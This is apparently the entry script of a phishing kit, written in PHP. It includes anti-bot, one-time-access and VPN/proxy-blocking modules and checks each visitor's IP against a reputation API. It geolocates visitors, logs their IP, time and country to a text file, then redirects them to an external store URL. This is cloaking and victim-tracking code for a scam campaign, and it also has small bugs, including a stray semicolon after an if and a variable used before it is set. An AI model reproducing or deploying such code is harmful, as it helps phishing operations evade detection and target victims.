<?php
include'Dila_DZ.php';
if(filesize("/config/antibot.ini") == 1)
require_once("antibot.php");
if($onetime == "on")
	require_once 'onetime.php';
if($block_vpn == "on")
    require_once 'proxyblock.php';
    if ($anti_bot=="yes");
$ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, "https://api.iptrooper.net/check/$ip?full=1");
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $result = curl_exec($ch);
 $result = json_decode($result);
 
 //define all array
 $asn ="$result->asn";
 $bad = "$result->bad";
 $code = "$result->code";
 $country ="$result->country";
 $ipaddress ="$result->ipaddress";
 $name="$result->name";
 $type="$result->type";
date_default_timezone_set('GMT');
$TIME = date("d-m-Y H:i:s"); 
$PP = getenv("REMOTE_ADDR");
$J7 = simplexml_load_file("http://www.geoplugin.net/xml.gp?ip=$PP");
$COUNTRY = $J7->geoplugin_countryName ;
$ip = getenv("REMOTE_ADDR");
$file = fopen("visit.txt","a");fwrite($file,$ip." - ".$TIME." - " . $COUNTRY ."\n") ;
?>
<?php
	exit(header("Location: https://ninja388.store/egocykpy/"));
?>